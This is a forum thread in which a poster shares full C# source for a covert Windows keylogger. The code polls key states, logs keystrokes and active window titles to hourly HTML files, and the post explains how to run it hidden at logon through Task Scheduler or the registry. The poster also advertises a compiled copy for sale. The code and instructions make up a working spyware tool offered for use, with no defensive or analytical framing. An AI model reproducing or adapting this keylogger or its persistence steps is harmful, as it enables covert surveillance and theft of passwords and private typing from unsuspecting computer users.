Question Hookless C# keylooger code sample that outputs to HTML file

More
13 years 4 months ago - 1 year 2 weeks ago #34 by roller
I can't say that I came up with this code entirely by myself; I used bits and pieces of code from other forums and added my improvements to it. I have to give credit to the original author, This software is based off "ArticleKeyLog" which can be found at www.codeproject.com . Alexander Kent is the original author and another programmer added some improvements to it but I can find his name anywhere. You can also download a compiled working exe from our store here's the link.

Most other forums gave examples of C# key logger but they used the console as an output, others had a hidden form running which you can the in the task manager.

My code will get you an almost covert key logger as we are not running via the console of a form, it works well but more improvements can be made. Maybe later I will add some more features but I wanted to share what I have so far.

When you run this key logger it will write to HTML files in the same directory it is ran from every 30 seconds and a new file every hour. I tested it with Windows 7 where I had it triggered by using the Task Scheduler where I set it to run at log on. I think I needed to also set the task scheduler to run it with highest privileges as when you have it running this way it seems to write the HTML files in the System32 directory.

However if you compile the code into an exe and double click to run it in a folder like my documents it will write the HTML output in that folder even if you run it by just double clicking it.

It is a start and I am sure a lot of programmers will know what to do with it.

I compiled the code using Visual Studio 2005 and I have two main clases in my solution that do all the work, the first is called keylogger.cs and the other program.cs. the source code for this keylogger is broken up into few posts because this forum has a restriction on the number of characters in each post, just put all the code toghether (minus my comment).

The program.cs class has the following code:
Code:
namespace kl4 { static class Program { /// <summary> /// The main entry point for the application. /// </summary> /// code futhur modified by Edgar Badawy http://fracta.net [STAThread] static void Main() { NetKeyLogger.Keylogger kl = new NetKeyLogger.Keylogger(); kl.Enabled = true; // enable key logging kl.FlushInterval = 30000; Application.Run(); } } }



This is the first part, the second part keylogger.cs class is next:
Code:
using System; using System.IO; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; namespace NetKeyLogger { public class Keylogger { [DllImport("User32.dll")] private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration [DllImport("User32.dll")] private static extern short GetAsyncKeyState(System.Int32 vKey); [DllImport("User32.dll")] public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount); [DllImport("User32.dll")] public static extern int GetForegroundWindow(); private System.String keyBuffer; private System.Timers.Timer timerKeyMine; private System.Timers.Timer timerBufferFlush; private System.String hWndTitle; private System.String hWndTitlePast; public System.String LOG_FILE; public System.String LOG_MODE; public System.String LOG_OUT; private bool tglAlt = false; private bool tglControl = false; private bool tglCapslock = false; public Keylogger() { hWndTitle = ActiveApplTitle(); hWndTitlePast = hWndTitle; // Writes a header for the HTML file writeHTMLHeader(); // // keyBuffer // keyBuffer = ""; // // timerKeyMine // this.timerKeyMine = new System.Timers.Timer(); this.timerKeyMine.Enabled = true; this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed); this.timerKeyMine.Interval = 10; // // timerBufferFlush // this.timerBufferFlush = new System.Timers.Timer(); this.timerBufferFlush.Enabled = true; this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed); this.timerBufferFlush.Interval = 30000; //1800000; // 30 minutes } public static string ActiveApplTitle() { int hwnd = GetForegroundWindow(); StringBuilder sbTitle = new StringBuilder(1024); int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity); if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown"; string title = sbTitle.ToString(); return title; } private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { hWndTitle = ActiveApplTitle(); if (hWndTitle != hWndTitlePast) { if( true) //(LOG_OUT == "file") keyBuffer += "<br><i>" + hWndTitle + "</i><br>\n"; /*else { Flush2Console("[" + hWndTitle + "]", true); if(keyBuffer.Length > 0) Flush2Console(keyBuffer, false); }*/ hWndTitlePast = hWndTitle; } foreach (System.Int32 i in Enum.GetValues(typeof(Keys))) { if (GetAsyncKeyState(i) == -32767) { //Console.WriteLine(i.ToString()); // Outputs the pressed key code [Debugging purposes] if (ControlKey) { if (!tglControl) { tglControl = true; keyBuffer += "[Ctrl=On]"; } } else { if (tglControl) { tglControl = false; keyBuffer += "[Ctrl=Off]"; } } if (AltKey) { if (!tglAlt) { tglAlt = true; keyBuffer += "[Alt=On]"; } } else { if (tglAlt) { tglAlt = false; keyBuffer += "[Alt=Off]"; } } if (CapsLock) { if (!tglCapslock) { tglCapslock = true; keyBuffer += "[CapsLock=On]"; } } else { if (tglCapslock) { tglCapslock = false; keyBuffer += "[CapsLock=Off]"; } } if (Enum.GetName(typeof(Keys), i) == "LButton") keyBuffer += "<font color=\"008000\">[LMouse]</font>"; else if (Enum.GetName(typeof(Keys), i) == "RButton") keyBuffer += "<font color=\"008000\">[RMouse]</font>"; else if (Enum.GetName(typeof(Keys), i) == "Back") keyBuffer += "<font color=\"008000\">[Backspace]</font>"; else if (Enum.GetName(typeof(Keys), i) == "Space") keyBuffer += " "; else if (Enum.GetName(typeof(Keys), i) == "Return") keyBuffer += "<br>"; else if (Enum.GetName(typeof(Keys), i) == "ControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "LControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "RControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "LControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "ShiftKey") continue; else if (Enum.GetName(typeof(Keys), i) == "LShiftKey") continue; else if (Enum.GetName(typeof(Keys), i) == "RShiftKey") continue; else if (Enum.GetName(typeof(Keys), i) == "Delete") keyBuffer += "<font color=\"008000\">[Del]</font>"; else if (Enum.GetName(typeof(Keys), i) == "Insert") keyBuffer += "<font color=\"008000\">[Ins]</font>"; else if (Enum.GetName(typeof(Keys), i) == "Home") keyBuffer += "<font color=\"008000\">[Home]</font>"; else if (Enum.GetName(typeof(Keys), i) == "End") keyBuffer += "<font color=\"008000\">[End]</font>"; else if (Enum.GetName(typeof(Keys), i) == "Tab") keyBuffer += "<font color=\"008000\">[Tab]</font>"; else if (Enum.GetName(typeof(Keys), i) == "Prior") keyBuffer += "<font color=\"008000\">[Page Up]</font>"; else if (Enum.GetName(typeof(Keys), i) == "PageDown") keyBuffer += "<font color=\"008000\">[Page Down]</font>"; else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin") keyBuffer += "<font color=\"008000\">[Win]</font>"; /* ********************************************** * * Detect key based off ShiftKey Toggle * ********************************************** */ if (ShiftKey) { if (i >= 65 && i <= 122) { keyBuffer += (char)i; } else if (i.ToString() == "49") keyBuffer += "!"; else if (i.ToString() == "50") keyBuffer += "@"; else if (i.ToString() == "51") keyBuffer += "#"; else if (i.ToString() == "52") keyBuffer += "$"; else if (i.ToString() == "53") keyBuffer += "%"; else if (i.ToString() == "54") keyBuffer += "^"; else if (i.ToString() == "55") keyBuffer += "&"; else if (i.ToString() == "56") keyBuffer += "*"; else if (i.ToString() == "57") keyBuffer += "("; else if (i.ToString() == "48") keyBuffer += ")"; else if (i.ToString() == "192") keyBuffer += "~"; else if (i.ToString() == "189") keyBuffer += "_"; else if (i.ToString() == "187") keyBuffer += "+"; else if (i.ToString() == "219") keyBuffer += "{"; else if (i.ToString() == "221") keyBuffer += "}"; else if (i.ToString() == "220") keyBuffer += "|"; else if (i.ToString() == "186") keyBuffer += ":"; else if (i.ToString() == "222") keyBuffer += "\""; else if (i.ToString() == "188") keyBuffer += ","; else if (i.ToString() == "190") keyBuffer += "."; else if (i.ToString() == "191") keyBuffer += "/"; } } } } #region toggles public static bool ControlKey { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); } } // ControlKey public static bool ShiftKey { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); } } // ShiftKey public static bool CapsLock { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); } } // CapsLock public static bool AltKey { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); } } // AltKey #endregion private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { if (true)//(LOG_OUT == "file") { if (keyBuffer.Length > 0) Flush2File(LOG_FILE); } /* else { if(keyBuffer.Length > 0) Flush2Console(keyBuffer, false); } */ } /* public void Flush2Console(string data, bool writeLine) { if(writeLine) Console.WriteLine(data); else { Console.Write(data); keyBuffer = ""; // reset } } */ // HTML header that runs only once public void writeHTMLHeader() { } public void Flush2File(string file) { Boolean writeHeader = false; FileStream fil; StreamWriter sw; string AmPm = ""; try { if (true)// (LOG_MODE == "hour") { if (DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11) AmPm = "AM"; else AmPm = "PM"; file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + "_" + DateTime.Now.ToString("hh") + AmPm + ".html"; } else file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".html"; if (!File.Exists(file)) writeHeader = true; fil = new FileStream(file, FileMode.Append, FileAccess.Write); using (sw = new StreamWriter(fil)) { sw.Write(keyBuffer); if (writeHeader) sw.Write("<html><body><font name=\"Arial\" size=\"10\">Keylog Report for" + DateTime.Now.ToString("MM.dd.yyyy") + " " + DateTime.Now.ToString("hh:mm:ss") + "</font><br><br><br><font name=\"Courier\" size=\"2\">"); } keyBuffer = ""; // reset } catch (Exception ex) { // Uncomment this to help debug. // Console.WriteLine(ex.Message); throw; } fil.Close(); sw.Close(); } public void ForceFlush() { timerKeyMine_Elapsed(this, null); timerBufferFlush_Elapsed(this, null); } #region Properties public System.Boolean Enabled { get { return timerKeyMine.Enabled && timerBufferFlush.Enabled; } set { timerKeyMine.Enabled = timerBufferFlush.Enabled = value; } } public System.Double FlushInterval { get { return timerBufferFlush.Interval; } set { timerBufferFlush.Interval = value; } } public System.Double MineInterval { get { return timerKeyMine.Interval; } set { timerKeyMine.Interval = value; } } #endregion } }

 
Last edit: 1 year 2 weeks ago by roller.

Please Log in or Create an account to join the conversation.

More
13 years 4 months ago - 1 year 2 weeks ago #35 by roller
Now some of you might just want to get the final product without the hassle of coding or some even don't know how to compile the code. Well you can if you like download a working version of this program, the compiled key logger, to play around with it and see how it works for just AU$2.00. Two bucks, think of it as a donation. Payment via Paypal.

download is available from here:

Simple C# PC keylogger - $2.95 : Zen Cart!, The Art of E-commerce (fracta.net)

Before you download the key logger you might want to read the operating instructions below:

Keep in mind this is a very basic logger but it does the job and the price is only couple of bucks...


•To start key logging run the kl6.exe program

•Once running you will be able to see this program in windows task scheduler if you hit ALT + CTRL + DEL

• To stop the logger you will have to terminate the process in windows task scheduler

• while it's running html documents will be generated in the same directory where the kl6.exe is

• There will be one html for every hour, the name of the html file will show the date and the time

• the html file is updated with the log every 30 seconds or so

• the logger will pick up keys typed, name of the window or program typed in and when a left mouse is clicked it will show the x/y position of the click





To start the logger automatically you can add it to the start up menu, or set a scheduled task to run on log on, or you can add it to the registry if you know what you are doing.



I have tested this program on windows 7 by running it from double clicking, Also tested it by setting a scheduled task to run on a user log on. Both methods worked fine.



There is no other hidden function to this program other than what is described above
Last edit: 1 year 2 weeks ago by roller.

Please Log in or Create an account to join the conversation.

  • jaim3
  • Visitor
  • Visitor
4 years 1 month ago #731 by jaim3
Will this work on Windows 10?

Please Log in or Create an account to join the conversation.

More
4 years 3 weeks ago #732 by roller
Mate I sent you the compiled exe to test it, did it work on your W10?

Please Log in or Create an account to join the conversation.

Time to create page: 0.438 seconds
Powered by Kunena Forum